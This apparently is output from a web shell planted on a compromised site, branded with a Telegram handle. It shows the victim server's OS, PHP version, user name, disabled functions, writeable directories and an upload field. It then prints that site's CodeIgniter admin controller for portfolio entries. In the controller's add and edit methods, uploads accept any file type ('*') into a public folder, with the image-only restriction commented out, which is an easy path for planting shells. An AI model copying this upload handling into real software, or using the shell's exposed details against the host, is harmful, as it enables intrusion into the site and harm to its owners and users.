https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/serbaantik.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/serbaantik.com/public_html/application/controllers/admin/Portfolio.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Portfolio extends Admin_Controller {
		
	function __construct() {

		parent::__construct();

		if (!in_array('portfolio', $this->allowed_sections)) redirect('admin/dashboard'); 
		
		$this->load->model('portfolio_m');	  
	} 
		
	//this is to list all portfolio    
	public function index() 
	{
		//pagination in action. 20 results per page  
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/portfolio/index';
		$config['per_page'] = 40;
		$config["uri_segment"] = 4; 

		//fetch all portfolio
		$config['total_rows'] = $this->portfolio_m->record_count();  
		$this->pagination->initialize($config);
   		$this->data['portfolio'] = $this->portfolio_m->get_all_portfolio($config["per_page"], 
		$this->uri->segment(4)); 
	
		//load view
		$this->data['subview'] = 'admin/portfolio/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);
		
    }
	
	//to add a new portfolio
	public function add() {
	
		$this->data['portfolio'] = $this->portfolio_m->get_new();	

		//get ordering number and display at add form 
		$this->db->select_max('priority')->from('portfolios');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['portfolio']->priority = 1;	
		} else {
			$this->data['portfolio']->priority = $current_priority + 1;
		}  
		
		//validation check in action
		$config = array( 
      array(
            'field'   => 'name', 
            'label'   => 'Name',
            'rules'   => 'trim|required'
        ),
        array(
            'field'   => 'content',
            'label'   => 'content',
            'rules'   => 'trim|max_length[350]'
        ),  
        array(
            'field'   => 'priority',
            'label'   => 'Priority',
            'rules'   => 'trim|required|numeric'
        ),  
        array(
            'field'   => 'status',
            'label'   => 'status',
            'rules'   => 'trim|required'
        ),       
				array(
					'field'   => 'category_id',
					'label'   => 'category',
					'rules'   => 'trim|required'
				),       
  );

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

		$this->form_validation->set_rules($config); 

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	
          $config = array();
					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = '*';  
					// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
					// $config['max_size']	= '500';
					
					$this->load->library('upload', $config);  
          $this->upload->initialize($config); 

					if ( ! $this->upload->do_upload()) {

		        //echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
						redirect('admin/portfolio/add');
					
					} else {

					$image = $this->upload->data(); 
					$image_filename = $image['file_name']; 	 

					}	
				} 

				$data = array(
					'name' => $this->input->post('name'),
          'content' => $this->input->post('content'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
					'portfolios_category_id' => $this->input->post('category_id'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

				$this->portfolio_m->add_portfolio($data); 

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Add success</p>');

				redirect('admin/portfolio');
			}
		} 

		//get portfolios categories
		$this->data['categories'] = $this->db->select('id, name')->from('portfolios_category')->order_by('priority', 'ASC')->get()->result_array();
		
		$this->data['subview'] = 'admin/portfolio/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);	
	}
	
	//to edit brand in admin
	public function edit($id = NULL) { 

		//check if id exist. If not exist, show 404.
		$count = $this->portfolio_m->count_exist($id); 
		
		if ($count == 0) {
			//page not exist
			show_404();
		}		

		$this->data['portfolio'] = $this->portfolio_m->get($id);	
		
		//validation check in action
		$config = array( 
        array(
              'field'   => 'name',
              'label'   => 'Name',
              'rules'   => 'trim|required'
          ),
          array(
              'field'   => 'content',
              'label'   => 'content',
              'rules'   => 'trim|max_length[350]'
          ),  
          array(
              'field'   => 'priority',
              'label'   => 'Priority',
              'rules'   => 'trim|required|numeric'
          ),  
          array(
              'field'   => 'status',
              'label'   => 'status',
              'rules'   => 'trim|required'
          ),    
					array(
						'field'   => 'category_id',
						'label'   => 'category',
						'rules'   => 'trim|required'
					),        
    );

		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled	

		$this->form_validation->set_rules($config); 

		if($this->form_validation->run() == TRUE) {
			
			if($_POST) {

				//check & processing image banner upload files	
				if ($_FILES['userfile']['size'] !== 0) {  	

          $config = array();
					$config['upload_path'] = './uploads/page/'; 
					$config['allowed_types'] = '*';  
					// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
					// $config['max_size']	= '500';
					
					$this->load->library('upload', $config); 
          $this->upload->initialize($config); 

					if ( ! $this->upload->do_upload()) {

		        echo $this->upload->display_errors(); die();
							
						$this->session->set_flashdata('error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
						redirect('admin/portfolio/edit/' . $id);
					
					} else {

					$image = $this->upload->data();
					$image_filename = $image['file_name']; 	 
					 
					}	
				}


				$data = array(
					'name' => $this->input->post('name'),
          'content' => $this->input->post('content'),
					'priority' => $this->input->post('priority'),
					'status' => $this->input->post('status'),
				);

				//image upload
				if (isset($image_filename)) {
					$data['image'] = $image_filename;
				} 

			$this->portfolio_m->edit_portfolio($id, $data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">portfolio success edit</p>');
			
			redirect('admin/portfolio');
			}
		} 

		//get portfolios categories
		$this->data['categories'] = $this->db->select('id, name')->from('portfolios_category')->order_by('priority', 'ASC')->get()->result_array();
		
		$this->data['subview'] = 'admin/portfolio/edit';
		$this->load->view('admin/templates/header', $this->data_header);
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer', $this->data_footer);	
	}
	
	
	//to delete a portfolio
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->portfolio_m->count_exist($id);
		
		if ($count == 0) {  
			//page not exist 
			show_404();
		}		
		

		//delete brand
		$this->portfolio_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">portfolio success deleted</p>');
		redirect('admin/portfolio');
	}

	//To delete customer photo file from server, and from database
	public function delete_customer_photo($id = NULL) { 

		$count = $this->portfolio_m->count_exist($id);

		if ($id == NULL || $count == 0) {	  
			redirect('admin/portfolio');
		}

		//get customer image file name for deletion
		$this->db->select('image')->from('portfolios')->where('id_portfolios', (int) $id);
		$image = $this->db->get()->row();

		//Delete the actual image file from server. FCPATH is codeigniter base path
		unlink(FCPATH .'/uploads/page/'. $image->image);

		//Delete image field from database
		$data = array( 
			'image' => '',
		);

		$this->db->where('id_portfolios', (int) $id);
		$this->db->update('portfolios', $data);	

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Success</p>');
		
		redirect('admin/portfolio/edit/' . $id); 
	} 
		
}

https://t.me/RX1948 - 2025